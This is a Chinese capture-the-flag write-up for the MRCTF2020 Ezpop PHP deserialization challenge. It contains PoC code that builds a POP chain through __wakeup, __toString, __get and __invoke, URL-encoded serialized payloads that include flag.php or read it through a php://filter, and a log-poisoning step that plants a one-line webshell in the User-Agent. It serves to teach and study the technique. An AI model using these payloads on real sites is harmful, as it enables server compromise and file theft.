可以通过buuoj启动环境

考的反序列化
首先做pop链的题,我们需要知道php中魔法函数的作用
在这就介绍改题所涉及的魔法函数

首先是__invoke()
在将类名当函数使用的时候调用
一般是这种题的出口

然后是__constructor
在创建该类对象时调用
__wakeup在反序列化该类对象时调用
__toString在将类作为字符串使用时调用
__get访问不存在的变量,或private修饰的变量时调用
那么知道以上的知识后
再来看代码

这里是出口,我们希望最终执行文件包含,达到我们的目的
那么此处Modifier类$var的值就该是我们希望包含的值
如何调用__invoke函数?


观察得到Test类中的__get函数可以成为跳板

再通过Show类__toSting方法去访问Test类中不存在的值以调用__get方法

最终到入口__wakeup方法
那么poc如下

$T=new Test();
$S=new Show();
$M=new Modifier();
$S->source=new Show();
$S->source->str=$T;
$T->p=$M;
echo urlencode(serialize($S));

我们尝试日志包含
$var的值改为:file:///var/log/nginx/access.log
传入后发现漏洞存在


抓包,在ua里写入一句话木马
蚁剑连上

拿到flag

最开始没有想到直接包含flag.php 因为没想到会是这个文件名,再试试直接包含flag.php

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D


是无法得到的,那么可以考虑用伪协议读下源码

php://filter/read=convert.base64-encode/resource=flag.php

序列化且url编码后得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D


也是可以拿到flag的

MRCTF2020 Ezpop wp相关推荐

  1. [MRCTF2020]PYWebsite -wp

    查看源码 发现一段前段验证,然后发现在目录下有一个flag.php 提示验证在后端,所以前面那个前端验证没用(也正常,前端验证都可以直接修改) 购买者的ip已经被记录,本地可以看到flag,那么使用x ...

  2. [BUUOJ][MRCTF2020]Ezpop

    文章目录 代码审计阶段 Modifier类 Show类 Test类 构造pop链 代码审计阶段 按照步骤一步一步分析 Modifier类 首先第一个Modifier类 class Modifier { ...

  3. BUUCTF·[MRCTF2020]babyRSA·WP

    BUUCTF在线评测 (buuoj.cn) 附件 import sympy import random from gmpy2 import gcd, invert from Crypto.Util.n ...

  4. 反序列化(Unserialize)漏洞详解

    序列化和反序列化漏洞分析   序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 [将状态信息保存为字符串]. ...

  5. cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链

    那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...

  6. BUUCTF-MRCTF2020

    WEB [MRCTF2020]PYWebsite [MRCTF2020]Ez_bypass [MRCTF2020]套娃 [MRCTF2020]Ezpop [MRCTF2020]你传你

  7. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  8. 【JAVA进阶架构师指南】 小白勿点

    前言 本博客是长篇系列博客,旨在帮助想提升自己,突破技术瓶颈,但又苦于不知道如何进行系统学习从而提升自己的童鞋.笔者假设读者具有3-5年开发经验,java基础扎实,想突破自己的技术瓶颈,成为一位优秀的 ...

  9. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

最新文章

  1. tomcat部署 修改域名和访问域名时去掉项目名
  2. android xutils3.0获取服务器图片,Android端使用xUtils3.0实现文件上传
  3. Flink从入门到精通100篇(八)-美团点评是如何在 Flink平台建立 实时数仓的?
  4. 关于前端页面测试和抵御 clickjacking attack 的一些方法
  5. 容器编排技术 -- Kubernetes Pod 优先级和抢占
  6. 原来在首席架构眼里MySQL果然如此不一样!
  7. 科学家之殁,竟是区块链之过?
  8. 赢在微点答案专区英语_自考英语二太难?看了墨盒的单词本,保你信心满满去考试!...
  9. Java2实用教程(第6版)实验指导与习题解答
  10. 真正的云主机到底是什么样的?转发
  11. 短视频新媒体运营策划推广工作计划表模板
  12. 软考中常见的英文缩写
  13. 计算机启动硬盘引导过程,如何重建mbr|硬盘重建主引导记录(mbr)步骤
  14. 计算机状态代码意义,DELL电脑自检代码错误提示含义
  15. keras中model.compile()基本用法
  16. 计算机关闭声音快捷键,电脑声音快捷键【运用方式】
  17. win10照片打不开,解决方法
  18. pyautogui使用经验
  19. 潇洒郎: 解决联想电脑Y430p 一碰触摸板就蓝屏
  20. 开启及清除NV_RESTORE信息的方法

热门文章

  1. 电信运营商用户流失分析
  2. 如何创建一个网易云歌单外链
  3. nyoj 1364-治安管理 (INT_MAX)
  4. linux下USB触摸屏开机不好使重新热插拔好使问题解决
  5. signal 的冰山理论 -- Linux Kernel 实现赏析
  6. iOS_IAP掉单及处理办法
  7. linux ftp 命令lcd,Unix/Linux 中经常使用的 ftp 命令小例
  8. Phoenix客户端Squirrel安装
  9. 苹果开发者账号 转让已上架的App应用(更换开发者账号)
  10. 记录-微信小程序picker多级联动级别不固定-又是令人头冷的一天